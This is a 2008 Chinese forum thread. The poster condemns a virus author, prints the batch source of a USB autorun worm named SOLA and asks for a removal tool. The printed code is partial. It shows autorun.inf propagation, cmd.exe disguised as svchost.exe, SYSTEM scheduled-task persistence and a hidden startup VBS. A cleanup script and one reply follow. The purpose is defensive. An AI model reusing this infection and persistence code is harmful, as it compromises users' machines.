标题: Dos病毒,求清理 [打印本页] 作者: lena 时间: 2008-4-8 20:47 标题: Dos病毒,求清理
首先大家一起鄙视一下这个人渣。,
病毒的代码如下:
————————————————————————————————————
@echo off
set sola=%systemroot%\Fonts
set setup=%systemroot%\Fonts\solasetup
if not "%1"=="-USB" goto Start
start /max ..
if exist %sola%\SOLA.BAT goto End
::========================Infect==============================
:Infect
cd\
md %systemroot%\Fonts\solasetup
::————文件复制---------
copy sola\Autorun.inf %setup%\Autorun.inf
copy sola\SOLA.BAT %setup%\SOLA.BAT
copy sola\宅男请进.RAR %setup%\宅男请进.RAR
copy sola\Tasks.xxx %setup%\Tasks.xxx
copy sola\sleep.exe %setup%\sleep.exe
tasklist >%sola%\task.txt
FOR /F "tokens=1" %%i in ('findstr /I "svchost.exe" "%sola%\task.txt"') do set svchost=%%i
copy %systemroot%\system32\cmd.exe %sola%\%svchost%
del %sola%\task.txt
:Tasks
copy %setup%\Tasks.xxx %systemroot%\Tasks\Tasks.job
schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks" & if errorlevel 1 goto TaskFail
goto TaskSuc
:TaskFail
%homedrive%
cd "%ALLUSERSPROFILE%"
cd 「开始」菜单\程序\启动
echo On Error Resume Next>SOLA.VBS
echo set ws=wscript.createobject("wscript.shell")>>SOLA.VBS
echo ws.run "%sola%\svchost.exe /c %sola%\SOLA.BAT",0 >>SOLA.VBS
copy SOLA.VBS %sola%\SOLA.VBS
echo NT>%systemroot%\Fonts\NoTasks
——————————————————————————
请大家写一个删除程序。作者: lena 时间: 2008-4-8 20:53 @echo off
set sola=%systemroot%\Fonts
set setup=%systemroot%\Fonts\solasetup
del /f /q %sola%/sola.*
del /f /q %sola%/svchost.exe
del /f /q %setup%/*.*
rd %setup%
for %%a in (c d e f)do del %%a/Autorun.inf
for %%a in (c d e f)do del %%/sola/*.*
for %%a in (c d e f)do rd sola
pause作者: lena 时间: 2008-4-8 22:01 没人知道吗???作者: abcd 时间: 2008-4-8 22:20 唯一评价,实在太啰嗦了。